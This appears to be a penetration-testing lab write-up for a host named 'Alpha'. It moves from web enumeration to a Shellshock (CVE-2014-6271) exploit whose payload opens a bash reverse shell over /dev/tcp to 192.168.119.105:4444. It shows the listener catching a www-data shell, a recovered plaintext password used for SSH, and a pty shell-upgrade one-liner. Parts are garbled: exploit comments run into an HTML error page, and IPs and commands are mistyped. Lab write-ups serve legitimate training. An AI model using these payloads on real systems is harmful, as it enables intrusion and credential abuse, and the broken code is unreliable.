

10.11.1.71

Alpha

▼ Recon

▼ Enum

▼ Port Scanning

This is the essential part of penetration. Find out what is available and how you could punch through it with minimum ease. DO NOT SKIP STEPS. DO NOT PASS GO. SEARCH ***ALL*** THE VERSIONS WITH `searchsploit` (or google -> `site:exploit-db.com APP VERSION`)

▼ HTTP - 80, 8080, 8000

```
``` curl -i ${IP}/robots.txt ``` Note down Server and other module versions.  
searchsploit them ALL. Visit all URLs from robots.txt. ``` nikto -host $IP ```
``` gobuster -u http://$IP -w  
/usr/share/seclists/Discovery/Web_Content/Top1000-RobotsDisallowed.txt  
gobuster -u http://$IP -w  
/usr/share/seclists/Discovery/Web_Content/common.txt ``` if nothing, find  
more web word lists. *Browse the site* but keep an eye on the burp window /  
source code / cookies etc. Things to be on look for:
```

▪ PHP/CGI Vulns

The screenshot shows the Dradis Project interface. On the left, there's a sidebar with 'Host summary' and a 'NOTES' section containing a list of ports (123, 135, 137, 138, 139, 1434, 161, 162, 1900, 22, 445) with their status (open, closed, filtered, no-response). The main area is titled 'Nodes > plugin.output > plugin.output > plugin.output > 10.11.1.71'. It has tabs for Evidence, Notes, Methodology, Properties, and Recent activity. The Evidence tab is active, showing a table of findings:

Title	Created	Updated
/cgi-bin/admin.cgi: Site appears vulnerable to the 'Shellshock' vulnerability (CVE-2014-6271)	12 minutes ago	12 minutes ago
/cgi-bin/admin.cgi: Site appears vulnerable to the 'Shellshock' vulnerability (CVE-2014-6278)	12 minutes ago	12 minutes ago
/cgi-bin/admin.cgi: This might be interesting.	12 minutes ago	12 minutes ago
/cgi-bin/test.cgi: This might be interesting.	12 minutes ago	12 minutes ago
/icons/README: Apache default file found.	12 minutes ago	12 minutes ago
/license.txt: License file found may identify site software.	12 minutes ago	12 minutes ago
/phpmyadmin: phpMyAdmin directory found	12 minutes ago	12 minutes ago
/Apache2/2.4.6 appears to be outdated (current is at least Apache/2.4.37) Apache 2.2.34 is the EOL for the 2.x branch.	12 minutes ago	12 minutes ago
/Retrieved x-powered-by header: PHP/5.4.16	12 minutes ago	12 minutes ago
/The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type	12 minutes ago	12 minutes ago
/The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS	12 minutes ago	12 minutes ago
/The anti-clickjacking X-Frame-Options header is not present.	12 minutes ago	12 minutes ago
/Uncommon header 'x-generator' found, with contents: Orchard	12 minutes ago	12 minutes ago

▪ cgi Shellshock Vuln

```

# !/usr/bin/python
# CVE-2014-6271 shellpoc.py
# Exploit for Apache 2.4.7 (Ubuntu) Server at 10.11.1.71 Port 80</address>
# Author: Zalalov
# Exploit for CVE-2014-6271 on 10.11.1.71
# We will attempt to connect back to 192.168.119.105 4444
# We will use the following shell: () { ignored};;/bin/bash -i >> /dev/tcp/192.168.119.105/4444 0>>1
# We will use the following shell: () { ignored};;/bin/bash -i >> /dev/tcp/192.168.119.105/4444 0>>1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>
<head>
<title>403 Forbidden</title>
</head>
<body>
<h1>403 Forbidden</h1>
<p>The requested URL /cgi/test was not found on this server.</p>
<hr>
<address>Apache/2.4.7 (Ubuntu) Server at 10.11.1.71 Port 80</address>
</body></html>

```

▪ CVE-2014-6271 Shellshock

```

(base) [~] kali㉿kali:~[~]
$ ./shellpoc.py
Attempting to exploit CVE-2014-6271 on 10.11.1.71
We will attempt to connect back to 192.168.119.105 4444
We will use the following shell: () { ignored};;/bin/bash -i >> /dev/tcp/192.168.119.105/4444 0>>1
403 Forbidden
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>
<head>
<title>403 Forbidden</title>
</head>
<body>
<h1>403 Forbidden</h1>
<p>You don't have permission to access /cgi-bin/ on this server.</p>
<hr>
<address>Apache/2.4.7 (Ubuntu) Server at 10.11.1.71 Port 80</address>
</body></html>

(base) [~] kali㉿kali:~[~]
$ sudo chmod +x shellpoc.py
(base) [~] kali㉿kali:~[~]
$ python shellpoc.py 10.11.1.71 /cgi-bin/admin.cgi 192.168.119.105/4444
200 OK
whomai
[~]

```

```

(base) [~] kali㉿kali:~[~]
$ nc -l -p 4444 ...
connect to [192.168.119.105] from (UNKNOWN) [10.11.1.71] 37717
bash: cannot set terminal process group (2222): Inappropriate ioctl for device
bash: no job control in this shell
www-data@alpha:/usr/lib/cgi-bin> whomai
www-data
www-data
www-data@alpha:/usr/lib/cgi-bin>

```

▪ Privilege Escalation

▪ Linpeas.sh

found user gibson pw zaq1xsw2cde3

- ssh as user gibson

```
ku@ku:~ -
```

```
gitbison@alpha:~ 166x70
```

```
(base) ~ <(ku110 ku111) [~]>
```

```
└─$ ssh gibson@0.11.1.71
```

```
The authenticity of host '0.11.1.71 (0.11.1.71)' can't be established.
```

```
ECDSA key fingerprint is SHA256:AbcWxkVxdJmH0i3xvyskwtv3PhLAsHMcHsTeHE.
```

```
Please add your known hosts to continue connecting (yes/no)?(fingerprint)) yes
```

```
Warning: Permanently added '0.11.1.71' (ECDsa) to the list of known hosts.
```

```
gibson@0.11.1.71's password:
```

```
Welcome to Ubuntu 14.04.4 LTS (GNU/Linux 3.13.0-144-generic x86_64)
```

```
* Documentation: https://help.ubuntu.com/
```

```
System information as of Sun Oct 11 22:58:36 EDT 2020
```

```
System load: 0.0 Processes: 75
```

```
Usage of /: 43.0% of 4.79GB Users logged in: 0
```

```
Memory usage: 9%
```

```
IP address for eth0: 10.11.1.71
```

```
Swap usage: 0%
```

```
Graph this data and manage this system at:  
https://landscape.canonical.com/
```

```
gitbison@alpha:~ $
```

- Exploiting SUID Executables
 - SUID Commands
 - su -i
 - proof.txt

- SSH - 22

▼ Limited Shells

- `python -c 'import pty; pty.spawn("/bin/sh")'`